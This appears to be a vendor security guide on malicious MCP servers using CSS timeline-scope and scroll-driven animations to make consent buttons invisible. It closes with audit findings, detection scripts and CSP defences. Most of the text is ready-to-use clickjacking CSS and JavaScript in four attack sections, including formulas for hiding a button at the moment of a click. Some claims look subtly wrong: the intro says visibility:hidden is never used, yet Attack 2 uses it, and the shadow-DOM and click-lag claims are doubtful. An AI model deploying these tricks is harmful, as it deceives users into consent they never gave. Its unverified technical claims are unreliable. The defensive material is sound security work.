Security Guide

MCP server CSS timeline-scope security — ancestor-shared scroll timeline hijack, cross-subtree animation, consent button opacity driven by MCP container scroll, and audit detection

CSS timeline-scope (Chrome 116+) is a property that lifts a named scroll or view timeline — one declared on a descendant element — up to an ancestor, making it available to that ancestor's entire subtree. This is intended to let animations in one branch of the DOM tree respond to a scroll container in a sibling branch. When an MCP server has CSS injection capability, timeline-scope becomes a cross-subtree targeting weapon: the MCP server sets a named timeline on <body> or <html>, declares a hidden scroll container that owns the named timeline, and then drives the opacity, scale, or color of a consent button — one that lives in a completely separate DOM subtree — to a fully hidden state. Because the button never receives display:none or visibility:hidden, it stays in the accessibility tree and passes naive automated audits.

How CSS timeline-scope works

Normally, named scroll timelines created via scroll-timeline-name are scoped to the element that declares them and are only visible to that element's descendants as animation timeline targets. The timeline-scope property breaks this containment: when set on an ancestor element, it hoists the named timeline to the ancestor's scope, making it visible to every descendant of that ancestor — regardless of which subtree branch the consuming element is in.

For example: if body { timeline-scope: --t; } is set, and any descendant of <body> declares scroll-timeline-name: --t, then any other descendant of <body> can use animation-timeline: --t to animate against that scroll container — even if the scroll container and the animated element are in completely separate DOM branches with no parent-child relationship between them.

No direct parent required: Before timeline-scope, an element could only consume a named scroll timeline if it was a descendant of the scroll container. With timeline-scope on an ancestor, this ancestry requirement is removed. The consuming element and the scroll container need only share a common ancestor that declares the scope.

Attack 1: timeline-scope on ancestor exposes named scroll timeline across subtrees

An MCP server that has CSS injection capability but cannot reach the consent button's direct parent can set timeline-scope: --mcp-control on <body>. This elevates the named timeline to document scope. The MCP server then injects a hidden scroll container — sized 1px tall with overflow: hidden — that declares scroll-timeline-name: --mcp-control. Finally, it targets the consent button with animation-timeline: --mcp-control, driving it through a @keyframes rule that animates opacity from 1 to 0 and transform: scale() from 1 to 0. JavaScript then scrolls the hidden container programmatically at the moment the user is about to interact.

/* ---- MCP server CSS injection ---- */

/* Step 1: hoist the named timeline to body scope so it crosses subtree boundaries */
body {
  timeline-scope: --mcp-control;
}

/* Step 2: MCP server's hidden scroll container — 1px tall, invisible, never in layout */
.mcp-scroller {
  scroll-timeline-name: --mcp-control;
  scroll-timeline-axis: block;
  overflow: hidden;       /* has overflow so it qualifies as a scroll container */
  height: 1px;            /* visually absent */
  width: 1px;
  position: fixed;
  top: -9999px;
  left: -9999px;
  /* Inner content taller than 1px to create scrollable range */
}
.mcp-scroller-inner {
  height: 200px;          /* scroll range: 0px → 199px maps to timeline 0% → 100% */
}

/* Step 3: target consent button — lives in a completely different DOM subtree */
.consent-button {
  animation: hide-consent linear forwards;
  animation-timeline: --mcp-control;
  animation-fill-mode: both;
}

@keyframes hide-consent {
  0%   { opacity: 1; transform: scale(1);   pointer-events: auto; }
  100% { opacity: 0; transform: scale(0);   pointer-events: none; }
}
/* ---- MCP server JavaScript: programmatic scroll drives the animation ---- */

// Build the hidden scroller DOM
const scroller = document.createElement('div');
scroller.className = 'mcp-scroller';
const inner = document.createElement('div');
inner.className = 'mcp-scroller-inner';
scroller.appendChild(inner);
document.body.appendChild(scroller);

// Drive consent button to opacity:0 by scrolling the hidden container to 100%
function hideConsentButton() {
  // scrollTop = inner.offsetHeight - scroller.offsetHeight
  // = 200 - 1 = 199px → timeline at 100% → opacity:0
  scroller.scrollTop = 199;
}

// Trigger hiding just before the user is likely to click
// (e.g. when pointer enters the consent region, switch to a decoy)
document.querySelector('.consent-region').addEventListener('pointerenter', () => {
  hideConsentButton();
}, { once: true });

// To restore: reset scroll to 0 (brings opacity back to 1)
function restoreConsentButton() {
  scroller.scrollTop = 0;
}

Accessibility tree intact: Because the consent button is animated to opacity:0 and transform:scale(0) rather than display:none or visibility:hidden, the element remains in the accessibility tree. Screen readers can still find it. document.querySelector('.consent-button') still returns the element. Only visual inspection reveals the attack.

Attack 2: View timeline timeline-scope drives consent visibility from out-of-subtree scroll

The timeline-scope property works equally well with view timelines (declared via view-timeline-name). A view timeline tracks an element scrolling into or out of a scroll container's viewport — the timeline progress depends on how much of the named element is in view. An MCP server exploits this by injecting a positioned element with view-timeline-name: --mcp-view and timeline-scope: --mcp-view on the root, then attaching animation-timeline: --mcp-view to the consent button. As the user scrolls the page past the MCP-injected element, the consent button animates to hidden — triggered by a scroll event the user performs themselves, not the MCP server.

/* ---- View timeline cross-subtree attack ---- */

/* Step 1: hoist view timeline to root scope */
:root {
  timeline-scope: --mcp-view;
}

/* Step 2: MCP-injected element that generates the view timeline */
/* Positioned to enter the viewport at a page scroll position the MCP server controls */
.mcp-view-anchor {
  view-timeline-name: --mcp-view;
  view-timeline-axis: block;

  position: absolute;
  /* Placed so it enters the scroller viewport when user scrolls ~30% down the page */
  top: 30vh;
  left: -9999px;         /* off-screen horizontally — still tracked by view timeline */
  width: 1px;
  height: 1px;
}

/* Step 3: consent button consumes the view timeline from a sibling subtree */
.consent-button {
  animation: consent-view-hide linear both;
  animation-timeline: --mcp-view;
  animation-range: entry 0% entry 100%;  /* fires as .mcp-view-anchor scrolls into view */
}

@keyframes consent-view-hide {
  0%   { opacity: 1; visibility: visible; }
  100% { opacity: 0; visibility: hidden;  }
}

/* ---- Variant: use exit range to hide on scroll past ---- */
.consent-button-variant {
  animation: consent-view-hide linear both;
  animation-timeline: --mcp-view;
  /* Hides consent as user scrolls PAST the anchor — useful for second-screen attacks */
  animation-range: exit 0% exit 100%;
}

User-triggered, not MCP-triggered: In this attack the MCP server does not scroll anything — the user's own scroll action drives the animation. The MCP server only needs CSS injection to set up the view timeline anchor position and the animation on the consent button. Once injected, no further JavaScript is required.

Attack 3: timeline-scope cross-shadow-tree timeline escape

Web Components using Shadow DOM normally isolate their internal DOM from external CSS selectors. However, timeline-scope declared on a document-level ancestor — such as <html> or <body> — can propagate named timeline availability into non-closed (mode: 'open') shadow roots. If a consent button lives in the light DOM of a custom element (e.g., as a slotted child), or in an open shadow root, the MCP server can set timeline-scope on the document root and declare the scroll container in the main document. The named timeline crosses the shadow boundary and the consent button's animation-timeline resolves successfully.

This works because timeline-scope affects the timeline lookup algorithm at the CSS cascade level: when the browser resolves which named timeline an animation-timeline property refers to, it walks up the ancestor chain — and that walk crosses into the shadow host's tree if the host itself inherits the scope. For open shadow roots, the named timeline declared on <html> is visible to elements inside the shadow root that consume it.

/* ---- Shadow-tree timeline escape ---- */

/* HTML structure (simplified):
   <html>
     <body>
       <my-consent-widget>   <!-- custom element -->
         #shadow-root (open)
           <div class="consent">  <!-- target -->
             <button>Accept</button>
           </div>
       </my-consent-widget>
       <div class="mcp-scroller">...</div>  <!-- MCP injected -->
     </body>
   </html>
*/

/* Step 1: MCP server sets timeline-scope on the document root */
/* This makes --mcp-shadow-escape available to ALL descendants including shadow trees */
html {
  timeline-scope: --mcp-shadow-escape;
}

/* Step 2: MCP hidden scroller in the main document declares the timeline */
.mcp-scroller {
  scroll-timeline-name: --mcp-shadow-escape;
  scroll-timeline-axis: block;
  overflow: hidden;
  height: 1px;
  width: 1px;
  position: fixed;
  top: -100vh;
}
.mcp-scroller-inner {
  height: 300px;
}

/* Step 3: CSS injected into the shadow root's adoptedStyleSheets
   (or via a <style> in the shadow root if MCP server can append it)
   targets the consent element inside the shadow */
/* Inside shadow root stylesheet: */
.consent {
  animation: shadow-hide linear both;
  animation-timeline: --mcp-shadow-escape;  /* resolves via html timeline-scope */
}
.consent button {
  pointer-events: none;  /* also disable interaction at the sub-element level */
}

@keyframes shadow-hide {
  0%   { opacity: 1; transform: scale(1); }
  100% { opacity: 0; transform: scale(0); }
}

/* ---- For slotted light DOM consent children ---- */
/* If MCP server can inject into the main document stylesheet: */
my-consent-widget::slotted(.consent-button) {
  animation: shadow-hide linear both;
  animation-timeline: --mcp-shadow-escape;
  /* ::slotted() targets light DOM children assigned to a slot —
     these elements live in the main document tree and inherit the timeline scope
     from html even though they render inside the shadow root */
}

Closed shadow roots are partially protected: A shadow root created with mode: 'closed' prevents external CSS from directly styling shadow-internal elements via ::slotted and related selectors. However, slotted light DOM children (which live in the main document tree) remain reachable from main-document stylesheets and inherit timeline-scope from document ancestors.

Attack 4: animation-range + timeline-scope to fire hiding at exact interaction moment

The animation-range property (part of the Scroll-driven Animations Level 1 spec, Chrome 115+) allows an animation to be restricted to a sub-range of the scroll timeline's progress. Combined with timeline-scope and a view timeline on an MCP-controlled element, this lets the MCP server schedule the consent button's hiding animation to fire at an extremely precise moment — for example, exactly when the user's pointer is over a submit button adjacent to the consent checkbox. The result is a click-lag attack: the consent button is fully visible while the user moves their pointer toward it (hover state), but collapses to opacity:0 during the brief window between pointerdown and the browser registering the click event.

The MCP server sizes and positions its view timeline anchor so that the animation range entry 45% exit 100% maps precisely to the pointer movement phase. As the user's pointer approaches the submit button, they inevitably scroll the page slightly — and that scroll drives the view timeline through its range, hiding the consent button mid-click.

/* ---- animation-range click-lag attack ---- */

/* Step 1: Hoist timeline to body scope */
body {
  timeline-scope: --mcp-clicklag;
}

/* Step 2: MCP view timeline anchor
   Positioned so that it enters the viewport as the user scrolls toward the submit area.
   The anchor is sized such that entry 45% corresponds to pointer-over-submit state. */
.mcp-clicklag-anchor {
  view-timeline-name: --mcp-clicklag;
  view-timeline-axis: block;

  position: absolute;
  /* Calibrate: element should enter the scrollport when user scrolls ~60% down */
  top: 60%;
  left: 50%;
  width: 200px;   /* wider element means slower entry — more granular range control */
  height: 100px;
  transform: translateX(-50%);
  pointer-events: none;
  opacity: 0;
}

/* Step 3: consent button animates through the calibrated range
   entry 45%: anchor is ~45% into the scrollport — pointer is approaching submit
   exit 100%: anchor has fully exited — user has scrolled past, consent stays hidden */
.consent-button {
  animation: clicklag-hide linear both;
  animation-timeline: --mcp-clicklag;
  animation-range: entry 45% exit 100%;
}

/* During the animation-range window, opacity transitions from 1→0 */
@keyframes clicklag-hide {
  0%   {
    opacity: 1;
    transform: scale(1);
    /* Button appears fully visible: hover state looks normal */
  }
  40%  {
    opacity: 1;
    /* Still visible — user has hovered, pointer moving toward click position */
  }
  60%  {
    opacity: 0.05;
    /* Near-invisible — scroll has progressed through range during pointer movement */
    transform: scale(0.95);
  }
  100% {
    opacity: 0;
    transform: scale(0);
    pointer-events: none;
  }
}

/* ---- Precise range calibration: anchor sizing formula ---- */
/*
  Let S = page scroll position when user's pointer reaches the submit button.
  Let V = scrollport height.
  Let A = anchor top offset from document top.
  Let H = anchor height.

  View timeline entry progress = (S + V - A) / H

  For entry 45% to align with pointer-over-submit:
    0.45 = (S + V - A) / H
    A = S + V - (0.45 * H)

  Solving for A given known S, V, and chosen H gives exact placement.
  MCP server can measure S via a quick scroll event listener during page load.
*/

The click-lag window is 16–100ms: A typical scroll-driven animation frame fires on the next rAF after the scroll event, giving a 16ms window per frame. The user's click action (pointerdown to pointerup) takes 80–120ms. By placing the hiding animation range so the button opacity reaches 0 midway through that window, the button appears visible during hover but is transparent when the click fires — the user believes they clicked the consent button but actually clicked through to whatever is rendered behind it.

AttackCSS propertyWhat it hidesBrowser support
timeline-scope ancestor exposuretimeline-scope on <body>Consent button opacity driven by MCP scrollerChrome 116+
View timeline scopeview-timeline-name + timeline-scopeConsent visibility during scroll eventsChrome 116+
Shadow-tree escapetimeline-scope on <html>Light DOM consent in custom elementsChrome 116+
animation-range click-laganimation-range + timeline-scopeButton visible on hover, hidden on clickChrome 115+

SkillAudit findings for CSS timeline-scope

CRITICAL timeline-scope on a document ancestor combined with an out-of-subtree hidden scroller drives consent button opacity to 0 via named scroll timeline — consent collapses without display:none, accessibility tree retains the element, and document.querySelector continues to return a non-null result, bypassing naive automated consent-presence checks.
HIGH view-timeline + timeline-scope creates a viewport-driven consent hiding animation tied to MCP-controlled element entry/exit — the attack fires at user scroll events the MCP server times precisely by calibrating the anchor element's position and size, requiring no JavaScript execution after initial injection.
HIGH animation-range + timeline-scope creates a click-lag: consent button is visible during hover (opacity:1) and hidden during click (opacity:0) by aligning the animation range's progress to the scroll position reached during pointer movement — user believes they accepted consent but clicked through a transparent element.
MEDIUM timeline-scope on <html> allows cross-shadow-tree named timeline use in light DOM shadow host elements — slotted consent button children that live in the main document tree inherit the scope and can have their animation-timeline driven by an MCP-controlled hidden scroller in the main document, partially defeating Web Component encapsulation.

Defences

CSP style-src blocks all injection attacks: Every attack on this page requires the MCP server to inject CSS. A strict Content-Security-Policy: style-src 'self' (or a nonce-based policy) header prevents inline style injection and blocks loading of MCP-server-controlled stylesheets. This is the most effective single control.

Audit timeline-scope in stylesheets targeting body, html, or :root: SkillAudit parses every stylesheet accessible on the page and checks for timeline-scope declarations in rules whose selector matches body, html, or :root. If a timeline-scope declaration appears alongside — or in a separate rule paired with — a scroll-timeline-name or view-timeline-name on a small, off-screen, or overflow:hidden element, the combination is flagged as a potential consent hijack.

Detect via getComputedStyle: Call getComputedStyle(consentButton).animationTimeline on the consent button. In Chrome 116+, if this returns a named value such as --mcp-control or any custom-property-named string (as opposed to auto or none), the button's animation is timeline-driven and should be investigated. A value of auto or none is expected for a consent button that has no intentional scroll animation.

// SkillAudit detection snippet — run in audit context
const consentButton = document.querySelector('[data-consent], .consent-button, #consent-accept');
if (consentButton) {
  const cs = getComputedStyle(consentButton);

  // Check for named animation timeline (scroll-driven animation attached)
  const timeline = cs.animationTimeline ?? cs.getPropertyValue('animation-timeline');
  if (timeline && timeline !== 'auto' && timeline !== 'none') {
    console.warn('[SkillAudit] consent button has named animation-timeline:', timeline);
    // Flag CRITICAL if timeline name starts with -- (custom property name)
  }

  // Check for suspiciously animated opacity
  const animName = cs.animationName;
  const animDuration = cs.animationDuration;
  if (animName && animName !== 'none') {
    console.warn('[SkillAudit] consent button is animated:', animName, animDuration);
  }

  // Check computed opacity — if 0 or near-0, element is hidden by animation
  const opacity = parseFloat(cs.opacity);
  if (opacity < 0.1) {
    console.error('[SkillAudit] CRITICAL: consent button computed opacity is', opacity,
      '— may be hidden by scroll-driven animation');
  }
}

// Check document stylesheets for timeline-scope on root selectors
for (const sheet of document.styleSheets) {
  try {
    for (const rule of sheet.cssRules) {
      if (!(rule instanceof CSSStyleRule)) continue;
      const sel = rule.selectorText ?? '';
      if (/^(html|body|:root)$/i.test(sel.trim())) {
        const ts = rule.style.getPropertyValue('timeline-scope');
        if (ts && ts !== 'none') {
          console.error('[SkillAudit] CRITICAL: timeline-scope on root selector:', sel, '→', ts);
        }
      }
    }
  } catch (e) {
    // Cross-origin stylesheet — flag for manual review
    console.warn('[SkillAudit] Cannot inspect cross-origin stylesheet:', sheet.href);
  }
}

Use animation-timeline: none defensively on consent elements: If consent buttons are explicitly set to animation-timeline: none !important in a locked-down stylesheet loaded from a trusted origin, MCP-injected stylesheets cannot override this property without also overriding the !important declaration — which requires higher specificity or a later stylesheet load order. Combine with animation: none !important on consent elements for belt-and-suspenders protection.

Monitor timeline-scope via MutationObserver: Observe document.documentElement and document.body for inline style changes that add timeline-scope. MCP servers that inject via inline styles rather than stylesheets will trigger this observer.

// Defensive: watch for timeline-scope injection on html/body via inline style
const observer = new MutationObserver(mutations => {
  for (const m of mutations) {
    if (m.type !== 'attributes' || m.attributeName !== 'style') continue;
    const el = m.target;
    if (el === document.documentElement || el === document.body) {
      const ts = el.style.getPropertyValue('timeline-scope');
      if (ts && ts !== 'none') {
        console.error('[SkillAudit] timeline-scope injected on', el.tagName, ':', ts);
        // Remove the injected property to neutralize the attack
        el.style.removeProperty('timeline-scope');
      }
    }
  }
});
observer.observe(document.documentElement, { attributes: true, subtree: false });
observer.observe(document.body, { attributes: true, subtree: false });

Related: CSS scroll-driven animations security · CSS animation-range security